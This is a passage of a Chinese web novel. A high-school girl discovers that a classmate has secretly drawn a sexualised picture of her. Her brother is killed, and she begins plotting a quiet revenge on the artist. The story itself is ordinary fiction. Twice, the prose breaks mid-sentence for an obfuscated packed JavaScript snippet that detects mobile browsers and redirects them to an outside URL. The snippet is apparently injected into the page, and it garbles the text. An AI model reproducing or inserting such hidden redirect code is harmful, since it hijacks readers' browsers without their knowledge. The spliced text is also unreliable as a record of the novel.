冯燕芳欣慰地按着她的肩膀,回去之后告诫她,离男生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563107|171402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远一点,袁驰虽然是朋友的儿子,也是个男的,一旦靠近他们,流言蜚语就会如刀般袭来,你要洁身自好,你不能给他们话柄。 冯山月心想,可是我明明什么都没做。 但她望着妈妈担忧的眼神,终究把话咽了回去。 那一次出分,冯山月比袁驰低一分,惜败。 冯山月的英语是优势科目,每次都能比袁驰多考三五分,如果没缺考,她是一定能考过他的。 幸好竞争没有结束,三个人都考上了一中,郑海阳每天跟着两个学霸混,居然也以吊车尾的成绩混进了尖子班。 分班情况一出,郑海阳兴高采烈地让冯山月请客,爸妈觉得郑海阳大手大脚,每次都把零花钱全部发给冯山月,让她保管。 冯山月在预习高一的课本,为了开学摸底考做准备,原本嫌烦不想去,结果郑海阳在旁边捣乱,哼哼唧唧地说接下来三年你哥又要继续给你做牛做马,你就不能提前预支点辛苦费? 冯山月纡尊降贵同意了,拿出钱包,为了逗他,只给他十块钱,再在他的愤怒哀嚎中再加一百元。 有时候她觉得她哥哥像条狗,家里不让养宠物,她唯一能寻开心的对象就是她哥。郑海阳虽然笨了点,但是笨得恰到好处,听不懂亲戚们的挑拨,看不懂爸妈之间的角力,总是忠心耿耿的当她跟班,也挺不错。 高中开学的第一天,妈妈开车送兄妹俩去学校,路上遇到袁驰家的车,两家人停在路边打了个招呼,郑海阳要找袁驰约放学后打球,窜到了他家的车上去。 冯山月留在车里,等红灯的时候转头看侧前方的奔驰。 袁驰在后座,开着车窗,被郑海阳吵得转开脸,把下巴抵在车窗沿上,正好朝这边看过来。 两个人的目光蜻蜓点水地碰了一下。 袁驰假期里没有剪头,刘海有些长,发梢在风里拂动。他一副刚睡醒的样子,眼睛里难得没有显出挑衅的意味,反而望着她有点出神。 初中的时候,冯山月身边有女生议论过男生的长相,袁驰总能高票获选第一,冯山月以前没注意,现在才发现他长开了。 不是错觉,冯山月觉得她的胃在那个瞬间抽动了一下。 那股陌生而古怪的情绪令她难受,她飞快地转回头,把车窗按了上去。 “上了高中,最重要的事情就是高考,别的东西不要想,好好学习,听见了吗?” 冯燕芳不疾不徐地开口叮嘱,冯山月侧头,总觉得她话里有话,却又看不出她表情上的端倪,揣摩一番,认真地点头,把刚才看见的那张脸从脑海中驱逐。 她或许比自己想象得更讨厌袁驰,才会在看到他后出现那种反应。 不然还能是什么呢?冯山月没有问妈妈,她知道这绝不是妈妈会与她讨论的话题。 这些年来,她和冯燕芳能交流的东西越来越少。 冯燕芳加班的次数不断增加,回来得越发晚,以前家里是她和爸爸轮流做晚饭,现在变成了放假期间郑海阳包揽晚饭,还要留一部分菜等妈妈加班回来给她热了吃。 除了学习之外,妈妈对她和郑海阳最常说的无非是那几句,吃饭穿衣,注意身体。冯山月课余时间看了书听了歌,想和妈妈分享,却只看到她疲惫地在沙发上侧卧休息。 有一次,她抓到冯山月在读找朋友借的言情小说,立刻变了脸,勒令她还回去。 这个家里,对冯山月来说,学习是最高指令,除了学习,没有什么更重要。 她是全家成绩最好、最有前途的那个人,没有任何事可以影响她,阻碍她考重点大学。 爸爸也在旁边附和,说你考不过袁驰,我见你袁叔叔都不好意思。 青春期里错过的朋友、身体的变化、女生与男生之间时而宛如天堑时而如一纸之隔般的神秘关系……爸爸是她绝不会选择的倾诉对象,郑海阳又没心没肺听不懂,只有妈妈,曾经也拥有过十六七岁的少女时光,她或许能听懂冯山月的心事,却从不愿听她谈起。 也许对冯燕芳而言,那个年纪里的一切杂念和悸动都成为了她考不上大学的原因,因此在女儿身上,她绝不犯相同的错误。 冯山月扛着家长的殷切期望,孤独地走在她光明的人生大道上,目视前方,略过两旁的风景。 她觉得自己还算幸运,也还算幸福,一些积压的情绪像换季才冒出的传染病,只要熬一熬就会治愈,接下来又是崭新的另一天。 直到那一天的到来。 差点将她的生活、她的精神摧毁的那一天。 高三寒假的第二天下午,郑海阳的地理练习册落在了梁阿姨的小饭桌里。 正好冯山月的草稿本用完了,要去学院街买她惯用的那个牌子,就陪着他一起过去。 两个人一路走到梁阿姨家楼下。 小饭桌不营业,一楼的门关着,梁阿姨接到郑海阳的电话,让他上二楼取。 没等多久,郑海阳下来了,三两步跃下台阶,边朝冯山月走边顺手翻开练习册,有点疑惑,似乎是拿错了。 一张草稿纸在此时飘了出来,落在地上,被郑海阳拾起。 他只看了一眼上面的内容,猛地变了脸色。 像是想吐,也像是被打了一拳,冯山月很久没见过他的表情扭曲成那个样子。 他飞快地移开目光,怒火却充斥他的双眼,他大步走来,却在要把纸递到冯山月手上的时候犹豫了。 冯山月不明所以,一把将那张纸扯过来。 想吐的人轮到她了。 那张草稿纸上是一张画。 半身像,画着一个微微低头的女生,齐刘海,眼睛长得很有特点,冯山月眼角有痣,那张画里的女生眼角也有痣,位置一模一样。 那上面画的是冯山月,确凿无疑,甚至可以说画功相当不错。 问题是,画中的冯山月,上身穿了一件宽大的T恤睡衣,那件衣服被她用一只手掀起,拉高到了锁骨的位置。露出了半边身体,里面什么都没穿。 而这一部分,充斥着作画者的想象。 有个更不堪也更准确的词。 意淫。 她比郑海阳细心,冷静得更快,电光火石间,她发现了更恶心的事情。 那件T恤睡衣。 那件衣服不是凭空想象的,冯山月真的有这样一件睡衣,上面有繁复的印花图案,而这张图上,连睡衣的花纹都被刻画得一模一样。 问题是,这件睡衣她只在家里穿过,从没有穿出过门。 冯山月家在一个普通的旧小区里,小区最高楼层是六楼,她家住三楼。 南北通透,采光很好,窗户很多。 在她的房间里,除了睡觉的时间,冯山月几乎不拉窗帘。 这意味着,作画的那个人,曾经去过她家附近,或许是楼顶,或许是楼下。 然后他远远地看着她,记住她穿过这件衣服,画下了这幅画。 和之前遇到困难时那种胃轻微抽动、心脏稍稍错拍的感觉不同。 这一次,像是有一只手狠狠攥住了冯山月的五脏六腑,她想吐,想把胆汁吐出来,或者找什么地方磕一下脑袋,让滚烫的脑浆翻涌而出,又或者找个地方放血,好让它不要在血管里加速流淌,顶得太阳穴突突直跳。 在那股被挤压的恶心感过去之后,十分罕见的,冯山月的大脑变得一片空白。 她能解出数学卷子的最后一道大题,她的语文作文甚至拿过一次满分,她的英语没有低于145的时候,她的文综成绩常居单科第一。 可是过去十八年,没人教过她,一个人,很大概率是男生,跟踪过、偷窥过你。 然后他把你画在纸上,下笔时脑海里全都是不堪入目的想象。 你要怎么办? 8. 08 冯山月的第一反应是,她要把他的眼睛挖下来。 或者把他的手砍掉。 初中的时候有同学为了追求刺激,趁课间躲在教室角落用手机看限制级血浆片,冯山月好奇看了一眼,当天连午饭都吃不下。 现在她却回想起那个红白交织、潮湿而血腥的场景了。 一边是因为血肉模糊而恶心,一边是发泄带来的刺激快感,冯山月弯下腰撑住膝盖,干呕了一声。 郑海阳连忙来扶她,肩上的书包滑落,撞到她小腿。 他索性把包扔在地上,极为烦躁地去翻那本拿错的练习册,却发现上面没有写名字,只在前几页有潦草的字迹。 郑海阳转头要回居民楼,打算直接问梁阿姨知不知道另一个落下练习册的人是谁。 他说,一旦找到那个人,他一定揍得他站不起来。 冯山月却把他拽住了。 小区附近有地方在施工,电钻声突突地响着,她的额角也跟着突突地跳。 不能使用□□。 限制片之所以被限制,是因为现代社会中杀人犯法,□□不被社会道德提倡。 人天生的攻击性被后天的社会化限制,一旦理智回笼,如同辩论赛开场,无数自我说服的理由在冯山月的脑中涌出。 比如,换位思考一下,他只是自己私藏了这幅画,并没有打扰你,如果你没有发现,它无法对你造成伤害。 再比如,万一他只是刚好住在你家附近,你自己没拉窗帘,才让他远远地看见了你呢? 又或者,你就要高考了,如果因为这件事分心,导致考不上华京,就得不偿失了。甚至在报复的过程中被对方伤害,岂不是因小失大? 这些不是她认同的想法,而是她在脑海中的模拟,一旦用□□报复回去后东窗事发,那些指控她的人会用什么说辞指责她。 “换位思考”“得不偿失”“因小失大”…… 初中闯进男厕所打人之后,老师和家长就是这么对冯山月说的,造谣的男生受了罚,可身为受害者的她也被教育不能冲动行事。 那一次,冯燕芳在回去后罚冯山月和郑海阳在阳台上站了一下午,冯山月不服,干脆连晚饭也不吃,站在外面生闷气,坚称自己没错。 妈妈最后难得温柔地抱住了她,望着她倔强的眼睛,很轻地叹息,给了她一个无法反驳的理由。 不是因为你反击有错,是因为妈妈不想失去你。 十几岁的年纪,打起架来没轻没重,万一气血上头闹出人命,无论死的是她还是对方,后果都令人无法承受。 冯燕芳小时候在农村里见过许多场打架斗殴,文明不够发达的地方,拌嘴升级到拳脚相向再常见不过,吵红眼了拿起锄头镰刀往对方身上招呼,最后断了气,亲者痛仇者快。 她甚至心有余悸地给两个孩子看了很多部普法教育片,打输住院打赢坐牢,做人要讲道理,她一遍遍重复给孩子们听。 阻拦人使用□□的,往往不是对手更胜一筹的□□,而是自己身后有所牵绊的爱。 最后这个念头让冯山月彻底冷静下来。 她直起身,把那张画纸摊开。 无论是她的人生,还是哥哥的人生,都不该被毁掉,甚至不该因此有污点,她应当用最理智的方法解决问题。 冯山月曾在考试时遇到过学校停电,不得不在炎热无风的教室里做完试卷。 她有着极强的自控力,心静下来之后,即便热气萦绕,高温催发汗水,甚至周围人因烦躁而发出动静,她也能沉浸在题目里,交上完美的答卷。 这一次,她也要做到不被情绪干扰,保留好证据找到那个人,回去和家里的成年人商量,走法律途径让那个人付出相应的代价,再在他眼前将这幅画烧干净。 至少在这个时候,冯山月真的只是这么想的。 她甚至觉得这张画并不雅观,事情闹大了不好看,妈妈和爸爸都不会希望女儿的这种画像被更多人看到。而那个画这张画的人,或许最初也是因为对她有好感,但用错了方法——这种下意识将对方行为合理化的做法甚至能让冯山月稍稍喘口气好受些,仿佛只要对方的出发点还不坏,就能减轻最后对自己的伤害。 她开始在练习册和草稿纸上找关于那个人的线索。 一中和四中的寒假作业都发了这本练习册,根据这一点无法判断那个人来自哪所学校。 她忍着不适仔细看了看那张草稿纸。 这是张铅笔画的素描半身像,冯山月不懂美术,但是在一中的艺术楼里见过历届美术生的作品展览,和这张画的风格都是一个调调。 这人应该是个美术生。 草稿纸偏薄,画上人物头发的部分被铅笔涂抹出了暗面,冯山月在其中发现了一些细小的白痕。 她捻起纸对着光看了看。 是笔尖在上一页写字所留下的字痕,印在了这一页上,铅笔的涂抹不能覆盖它,反而将它暴露出来。 冯山月根据痕迹辨认最清晰的那几个字:……汇雅楼二楼集合。 一中没有建筑叫这个名字,她从不关心四中的事,转头问哥哥,结果郑海阳也对四中的情况不熟悉。 她直接打开手机搜索关键字“四中”“汇雅楼”,然后找到了对应的图片。 这栋楼在四中。 这是一个来自四中的学生,极大概率是一个学美术的男生,在梁阿姨的小饭桌吃饭。 冯山月和郑海阳都和小饭桌里四中的学生不熟,除此之外一时找不到更多信息,但她有办法找到他。 冯山月没带书包,她把这本练习册和画收进了郑海阳的包里,再让他去找梁阿姨拿回属于自己的那份练习册。 梁阿姨肯定会问到,为什么不把拿错的那本换回来。 冯山月让郑海阳复述她的说法:郑海阳的练习册答案被撕掉了,这本练习册上有答案,他借去对一下,等那个丢了册子的人找来,直接让他联系郑海阳。 画和练习册都在她这边,那个人有两个选择,要么寒假里提前通过梁阿姨联系郑海阳,自己现身。如果他不敢露面,那么在开学后,她可以用练习册和草稿纸上的字迹、画风去一个个对照,在小饭桌的名单里找出那个人。 郑海阳向来听她的话,听完嘱咐和分析后转身上楼去。 冯山月一个人在楼下吹冷风,那张画在脑海里挥之不去,认真刻画的花纹、完美对应的五官细节……那个人画这张画用了多久,心里就想了她多久,甚至窥探了她多久。 这个想法令冯山月一阵恶寒。 她甚至下意识站到靠墙的地方,背抵住墙面,检查是否有人在往这边看。 她曾经站在升旗台上发言面对过那么多双眼睛,可现在,她却担心一双藏在暗处的眼睛。 无论怎么自我暗示,对方所做的不是丧尽天良之事,只是一念之差形成的微小之恶,冯山月始终无法释怀。 这种微小的恶,像手指上的倒刺、衣领后侧磨人的标签、跑进鞋里的小石子。它不会给人造成巨大的伤痛,却会持续地、漫长地让人感到不适,无论怎么努力忽视,它仍将无孔不入地浸透在生活中,在每一次回忆里闪着不和谐的反光,刺痛双眼。 - 没过多久,郑海阳下来了,手里拿着自己的练习册。 梁阿姨总把孩子们落下的东西放在门口的鞋柜上,但之前郑海阳进门时先看到客厅桌上放着的练习册,误以为是自己的,才因此拿错。 果然如冯山月所料,梁阿姨问了相同的话,而郑海阳也按妹妹说的做出回答。 梁阿姨没多纠结,对郑海阳调侃地笑笑,说你这小子,是不是想趁机抄答案。 放在平时,郑海阳或许会笑嘻嘻地开几句玩笑,但这次他却什么都没说。 梁阿姨也注意到他情绪不对,反过来安慰他说天冷早点回家,至于另一个粗心鬼,她会帮忙转达。 他沉默地把那本练习册也收进包里,两个人准备回家。 袁驰的电话在这个时候打来,要找兄妹俩去李老师家看成绩。 郑海阳英语是弱项,每次在李老师家上课都挨训,这次期末考他自我感觉发挥得不好,再加上今天发生的事,他根本不想去李老师家被老头臭骂。 冯山月看出他的情绪,接过电话,告诉袁驰她一个人过去,再打发郑海阳回家烧饭。 都说人心情不好的时候做饭会难吃,冯山月甚至有心情对郑海阳开这个玩笑,叮嘱他把菜做得好吃些。 身为受害者的妹妹反而在打起精神安慰自己,这让郑海阳也振作了些。 老小区有好几个出口,两人在靠后门的地方分开。 离开前,一股突然浮现的直觉促使冯山月拿出手机,给那张画和练习册上写字的部分都拍了照。 尽管她根本不想让那幅画在自己手机里多留存一分一秒,但备份证据总没有错。 随后,她目送郑海阳朝相反方向离去,不知道为什么多看了一会儿他的背影。 心灵感应让郑海阳突然回过头来。 他朝她挥挥手,做了个打电话的手势,示意她如果遇到问题联系他。 能有什么问题,她在大马路边打个车就能到李老师家,要一个人走回去的是他。 冯山月甚至注意到他走的不是回家的方向,对他做了个疑问的表情。 隔着很远,郑海阳把手举到嘴边围成喇叭,说我去帮你买草稿本,回家记得给我报销,别忘了付我跑腿费。 说完扮了个鬼脸。 冯山月很给面子地笑了,他这才心满意足地转回去,大步往前走。 她注视他消失在视野尽头。 当年那个打不过她的小屁孩,现在比她要高了不少,平时温吞好脾气,却在遇到有关她的事情时发了火。 小时候冯山月老是和他争宠,长大后开始嫌弃他蠢,把他当成随时可以使唤的拖油瓶,吵架时先求和的总是他,大人们比较兄妹俩时,他自甘当陪衬的那个——虽然的确是因为她更优秀——冯山月在心里哼了一声,决定看在她哥这么弱的份上,以后对他好一点。 比如回去之后再提醒他,他那件白色羽绒服的后背在墙上蹭脏了。 到了李老师家,袁驰穿着同样的白羽绒服,发型是在同一家理发店剪的,身高也差不多,站着不动的时候从背后看去,差点让冯山月以为她哥瞬移到这里了。 但只要袁驰稍微侧头,冯山月就能立刻识别出那张令她烦心的脸。 话不投机半句多,她干坐着没搭理袁驰,李老师试图打圆场,她索性拿出试卷看。 脑子里想的却还是关于那幅画的事。 心里开始很古怪地发慌,她有点看不进题目,电视机里放着英文电影,平时她会当练听力关注一下,现在却只觉得耳边嗡嗡地模糊成一团,怎么都听不进去。 袁驰问了句你没事吧,冯山月没回他,心想连他都看出她心不在焉了,这样下去不行。 她站起来,打算去外面走走,呼吸新鲜空气。 电话在这个时候响了。 袁驰的。 紧接着就是她的,冯燕芳的声音从那边传来,让她现在打车来医院。 她从没听过妈妈用那种语气说话,问是什么事,妈妈却不说。 挂断电话之前,她似乎听见了一声哽咽。 去医院的路上,冯山月给郑海阳打了好几个电话,一开始想问他妈妈有没有通知他,在发现打不通之后,像黑墨水被打翻在桌上,恐慌的情绪飞速蔓延开。 冰冷、粘稠的浓黑色扩散,将整颗心脏包裹,再流窜到四肢百骸。 直到她跑进医院,看到妈妈惨白的脸,她冲上来,紧紧地抱住冯山月,一点湿润的水滴落在冯山月的脖子里。 妈妈说,你哥哥死了。 不久前还做着鬼脸逗她开心的人,现在躺在太平间里。 - 这一年的春节,冯山月家里没有过。 家长忙前忙后,给死去的郑海阳火化、办葬礼,还要找律师,准备打官司。 而冯山月要做的就是不给大人添麻烦,自己乖乖地在家待着——冯燕芳也不要求她学习了,让她看电视玩电脑放松心情,晚上没人做饭就给她钱,叫她出去吃点好的,但是记得随时报平安。 一中有几个她的朋友听说了消息,打来电话安慰她,冯山月麻木地接,麻木地回应。 她们说,不要太伤心了,想哭的话也可以找我——尽管没有熟到那个地步,但她们仍笨拙地安慰她。 冯山月却钝钝地想着,为什么我一点都哭不出来,也感觉不到伤心呢? 葬礼上,袁向东红着眼眶进门,拉着袁驰对着冯山月和她父母鞠躬,说他会请最好的律师,让犯人付出最大的代价,他家亏欠的东西太多,他会花一辈子补偿。 冯山月忽然注意到,当袁向东对着她爸爸弯腰时,爸爸的脸上竟有一闪而过的松快,连忙抬手去扶他。 曾经郑杰要比袁向东高一头,在重逢后的十二年里,袁向东成了更有实力的那个,说着报恩,给郑杰带来的却是难以言喻的压力。 如今,因为袁向东间接造成了郑海阳的死,这两个人之间的关系再次倒转了。 郑杰固然是悲痛欲绝的、难以承受的、以泪洗面的,但在袁向东面前,他成了那个占据道德高地俯瞰对方的人。 这甚至减轻了他的痛苦,给了他些许安慰,让他与袁向东之间更加亲近。 人性原来是如此复杂而扭曲的东西。 因为喜欢一个人,反而会跟踪她窥视她,画出不堪入目的画,最后伤害到她。 又或者和一个人既有着深厚的友谊,也存在微妙的竞争,孩子的去世没让他们结仇,反而令他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563108|171402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们的关系再进一步。 冯山月第一次恨自己如此敏锐,如此轻易地读懂了父亲的情绪。 看着郑杰故作宽容,说着原谅的话,冯山月终于没忍住讥讽。 她说,反正她希望死的不是她哥哥。 她没看父亲的脸,也不看袁向东,只能瞪着袁驰。 她讨厌他用施舍可怜的眼神看她,还不如一举激怒他,最好能吵起来,做些出格的事,把郑杰那份突如其来的优越感给彻底粉碎,谁都别想在这场葬礼上好受。 这次她哥哥无法再跳出来打圆场,把火力转移到自己身上,嘻嘻哈哈地糊弄过去了。 一旁的墙上挂着黑白照片,郑海阳十八岁的年轻脸庞带着微笑,注视这间屋子里的人。 注视他们的暗流涌动,注视冯山月攥紧的拳头,冯燕芳如刀的眼神,郑杰反刍自己的想法后心虚而愧疚,不敢看向照片。 没有人在落眼泪,家里这三个都是最要强的人,谁都不会当着外人的面哭。 如此也好,他不必因为无法伸手为家人拭泪而失落,只需要安静地在照片里永远微笑着,不再生气,不再痛苦。 - 冯山月浑浑噩噩地过了半个寒假,直到从大人口中知悉案发经过,拿到郑海阳落在案发现场的遗物。 郑海阳在小巷里遇害,凶手是袁向东手下的项目经理认识的包工头。 隔了十万八千里的关系,因为一场饭店外的偶遇,王勇斌记住了郑海阳的脸。 那天傍晚在小巷里,他们狭路相逢。 老小区对面有地方在施工,王勇斌是来找工友诉苦的,正好遇到绕路给冯山月买草稿本的郑海阳。 起初,王勇斌只想在擦肩而过的时候撞一下这个大老板的儿子,出口气作罢,没想到对方也臭着脸,被他撞到后,语气极冲地骂了一句“没长眼睛啊你”。 口角就这样发生,王勇斌酒气之下怒火上头,把啤酒瓶敲碎后扎过去。 冬天的傍晚,街上行人稀疏,郑海阳被路过的工人发现时已经休克了,打120送到医院也没救过来。 王勇斌去自首,对着警方什么都交代了,尽管小巷附近没有监控,但人证物证都对得上,整起案子没有疑点。 调查结束,多余的遗物被送了回来。 郑海阳的书包就在其中,冯山月无心听完案情介绍,注意力都在那只背包里。 里面有一件她不太想让外人看见,又有些期待警方发现后会作何反应的东西。 可很快,她翻动背包的手停下了,如晴天霹雳,她意识到一件事。 那张画,和那本练习册。 它们不见了。 警方给的遗物清单里,没有那幅画和那本不属于郑海阳的练习册。 而警方也没有做出发现那幅画后会有的举动。 这一切指向一个极为惊悚的事实。 是那个人。 那个人跟踪她、窥视她、画出那幅画的人。 他把画拿走了。 就在那一天,他去了案发现场,为了不让自己的行径被曝光,他将画和练习册悄悄带走。 那本就不是属于郑海阳的东西,除了冯山月,没有人发现异常。 冯山月回到房间,把窗帘拉起来,缩在床上,神经质地咬指甲。 他去过现场,这意味着,在郑海阳倒在血泊中的那段时间里,在她哥哥的生命一点一滴流逝的时间里,那个人曾在一旁冷眼看着。 冯山月没有在梁阿姨面前露脸,因此那个人认为郑海阳是唯一的知情人,只要他死了,就没有人知道他曾经做过这件事。 他拿走东西,没有打120。 如果不是他,郑海阳也许不会死。 - 冯山月在发现这件事后,连续两个晚上没有睡觉。 每天在房间里,她把窗帘拉得严严实实的,在网上搜索资料。 见死不救犯法吗?要付出代价吗? 很遗憾,不犯法,并不需要。 拿走案发现场的物品犯法吗? 也许犯法,但是那本就不是郑海阳的东西,而是那个人自己的,且只有冯山月知道它曾存在于郑海阳的包里。 再说,如今要怎么去找到证据? 冯山月的手机里有照片,但如果那个人回去把画烧掉,扔了练习册,她该用什么方式指证他,甚至他拿走的东西与案件没有关系,很可能只会被批评教育几句,就轻轻放过。 又来了,又是这样一件微小之恶。 冯山月把自己闷在被子里,窒息感由内而外压迫上来。 她大可以现在就拿着手机里的证据,去警局报案,要求他们调查这个去过案发现场的人。 然后呢? 一个未成年的高三生,作了一些上不得台面的小恶。 偷偷画女同学的半裸画,很恶心,但最多只需要民事赔偿。 路过濒危的人见死不救,很不道德,但不犯法。 拿走案发现场的东西——找不到证据,且那是他自己的——最多被批评教育,不追责。 自此,这个人或许会在自己的社交圈里经历社会性死亡,可能会付出些钱财作为民事赔偿,被口头教育一番,连进拘留所待几天都很难。 等到他上了大学,远走高飞改头换面,档案上清清白白,仿佛一切都没发生过。 这是冯山月想要的结果吗?这是她所能争取到的最解气的结局吗? 法律严惩罪恶,一旦判决有罪,就要付出代价。 但如果是一件又一件难以界定的微小之恶,从头到尾没有造成实质的伤害,不见一滴血,却成了某个人的梦魇,某个人的心魔,令她食不下咽夜不能寐,让她开始担心窗户外的目光,让她夜夜想起她的哥哥曾有一线生机,让她吊着一口气如鲠在喉,无论怎么计算对方付出的代价都不甘心呢? 曾经在梁阿姨家楼下时的怒火中烧再一次席卷而来。 不是猛烈的、瞬间的怒意,而是一种如炭火般长久的、为她源源不断提供动力的愤怒。 这么多年,冯山月突然找到了一件比拿第一更急切,比考上华京更令她想做的事情。 她要那双暗中窥视过的眼睛再也不敢看他。 她要他发自心底懊悔当初所做的一切。 她要看他痛哭流涕悔不当初的狼狈样子。 她要他也感受到,她曾对背后的目光感到的那份针刺般的不适,她要他因为某个人的存在而坐立难安,不能聚精会神去做想做的事,她要他接下来仅剩的高三时光不得安宁,日夜沉浸在随时可能暴露的惶恐中。 她要去四中,找到那个人,她既不挖出他的眼,也不砍断他的手。 她只会让恐惧的幽灵永远盘旋在他头上,让他感受法律无法判决的微小之恶所带来的,如蛆附骨般的恶心、痛苦,和绝望。 9.09 梁阿姨小饭桌的客厅里,在一片寂静中,冯山月站起身来,缓缓吐出一口气。 放出这句话后,这场复仇就算正式拉开序幕了,她要打起精神来。 这点声响打破了凝固的氛围,桌上的人松动了,讨论声四起。 有的人想到昔日一起吃饭的同学已经不在世间,忍不住红了眼眶。 也有人想到同校竟然出了个偷逝者遗物的学生,露出鄙夷的神色。 还有人和邻座小声议论,说为什么冯山月不报警。 冯山月听见了,望着对方的眼睛回了一句:“都是高中生,我想给他一个机会,把钱包还回来,我就不追究。” 谎话说得十分真诚。 她去衣架前拿自己的羽绒服,慢悠悠地穿,对梁阿姨说:“我中午回学校,就不在这里午休了。” 今天中午梁阿姨招呼王于英的时候说,有个学生去了画室,没来吃饭。 冯山月听完后就有了猜测,再结合一些验证,她已经确定了,那个人此刻不在饭桌上。 既然他不在,留在这里就是浪费时间,该放的话已经放出,接下来就是等着它发酵,在学校无孔不入地传开,传到那个人耳朵里,成为一根随时可能点燃的引线,令他坐立不安。 晚自习前,冯山月还要来小饭桌吃晚饭,这个学期才刚开始,那个人不会一直不出现,否则只会显得他心虚,从而引起旁人注意。 而且,哪怕他已经畏缩得躲着冯山月走,最终也必定会在这里现身。冯山月在决定转学之后就开始收集信息、回想线索,她已经有了一些新发现,十分笃定自己的判断。 更何况,冯山月没有一上来就把他逼到角落,亮出底牌——那样事情就结束得太痛快了。 现在,那个人无法确定冯山月发现了他做过的事,见过他的画。 在他眼中,冯山月转学后最先针对的是王于英,此刻放话要找的又是一个偷了钱包的人。他没有被点名,但疑虑一旦产生就无法停下,光是思考冯山月的这个“钱包”是否另有所指,就够他耗费心神。他更要担心,如果真有一个偷了钱包的人,且那人迟迟不出现,事情会不会闹大到警方那边。 如此一来,警方会重新调查案发当天附近的监控、走访附近的目击者吗?会捕捉到他经过案发现场的线索吗? 这整件事在他眼中是一个由偷钱包引发的意外,却随时可能借此揭露他的罪行。 没有发生的事最令人畏惧,不确定的未来是悬在他头顶的达摩克利斯之剑,在那柄剑落下之前,冯山月要让他受够想象的折磨。 身旁传来座椅摩擦地板的声音,王于英跟着站起,从兜里掏钱递给梁阿姨,又对冯山月说:“我送你回去。” “和阿姨客气啥,那么几口饭,就当阿姨请你吃的。”梁阿姨一把将钱塞回去,不等王于英再递,她已经看向冯山月。 她脸上不见平日的笑容,而是苦涩地皱着,语气怜爱:“你这……怎么不早点和阿姨说呢?你妈妈也是,只说你哥哥这学期不来吃饭了,没说他怎么了,也不说你转学的事。今天听说你和袁驰要来,我以为是一中学生在附近上补习班呢。阿姨粗心,还让你帮我收拾桌子,都没察觉到你不对劲……” 冯山月知道,冯燕芳必然是不愿对外人提起儿子的死,才遮掩过去。 她和妈妈一样,也不擅长应付这种感情充沛的劝慰,又听到梁阿姨把自己和袁驰的名字放一起,于是带点抵触地偏开头。 可下一秒,梁阿姨走上前,用力地抱了抱她。 她抚摸冯山月的脑袋,放轻声音:“孩子,节哀啊。” 冯山月被她弄懵了,条件反射地抬手抵在胸前,眼睛睁大,却没使出力气推开她。 梁阿姨身上有一股淡淡的香皂味,常年颠锅做饭的手臂很有力,摸她脑袋的掌心也很温暖。 像很小的时候,被妈妈紧紧抱在怀里的感觉。 越是长大,冯燕芳越少拥抱她。 妈妈很忙,冯山月和哥哥的亲子互动一般来自彼此,以拌嘴打架为主。再长大些,妈妈就不抱哥哥了,为了不被说偏心,连带着也不再像小时候那样,把冯山月搂进怀里,摸摸她的头,捏捏她的脸。 哥哥死后,冯燕芳只在医院里抱着冯山月落泪过一次,护士要来找她签字,她立刻松开手,把眼泪擦掉。 冯山月从冯燕芳那里学到不要展露软弱,不要依赖旁人,每个人都有自己的事要做,谁都没有义务安抚你的情绪。 这是冯山月在她哥死后收到的第二个拥抱。 坚实的、坦诚的、情绪浓烈的,来自一个此前和她交流甚少,毕业后再也不会见面的中年妇女。 屋子里,受到梁阿姨的感染,也有几个女生靠过来,想跟着做点什么,却没有梁阿姨那样的自来熟。最后她们只小声地说,节哀啊冯山月,再把她当成玻璃人似的,轻轻拍她肩膀。 王于英在最边上,有点震惊地看着眼前这一幕。 她原本已经做好打圆场的准备了,冯山月总是一副冷冰冰不接受好意的样子,怎么看也不像是会乖乖被梁阿姨抱住的类型。 没想到她还真就不挣扎了。 陆续有女生安慰完冯山月走回餐桌,从王于英身旁经过。 王于英嘴唇跟着动了动,没发出声音。她一直想对冯山月说一句节哀,可总觉得自己没有立场。 冯山月离开的姿态堪称逃跑。 她拎着书包,压下所有情绪,胡乱说了声谢谢,飞快地往门外走。 直到一路走到居民楼外,被冬天的冷风一吹,鼻腔里梁阿姨身上的气息、小饭桌上的饭菜香都消失殆尽,她才缓过神来。 脸颊还残存着埋在梁阿姨肩膀里被焐热的温度,她甩甩头,终于把多余的情绪抛却,而只关注接下来要做的事。 今天中午,她借口来月经,找梁阿姨借卫生巾,去了二楼她的家里。 客厅的桌上摆着很多东西,其中有小饭桌学生的花名册,记录这学期谁不再交钱吃饭,谁家里还没缴费。 梁阿姨取卫生巾的时候,她趁机用手机给那张姓名表拍了照。 很快她就能通过排除法找到那个人的名字。 她现在要回四中,找机会进入汇雅楼的画室,找到他,记住他的长相。 然而,身后响起王于英三两步下台阶的声音,又传出袁驰推门出来的动静。 袁驰叫她全名:“冯山月!” 听上去有些着急,和平时毫无波澜的语气完全不同。 冯山月当然知道为什么,袁驰是在场唯一一个知道她说谎的人,没有当众揭穿她已经是他仁至义尽,现在出了屋子,他肯定又要来找她刨根问底。 冯山月没回头,王于英跟上来。 “你要找人,我可以帮你,我在四中人脉很广。” 冯山月没这个需求,反问:“非亲非故,你帮我做什么?” 王于英已经开始习惯冯山月的说话方式了,刚才小饭桌上的一幕启发了她,她学梁阿姨,直截了当地说:“因为我想。” 冯山月斜了她一眼。 王于英把手揣进兜里,望着前方:“你就当我欠你的吧。” 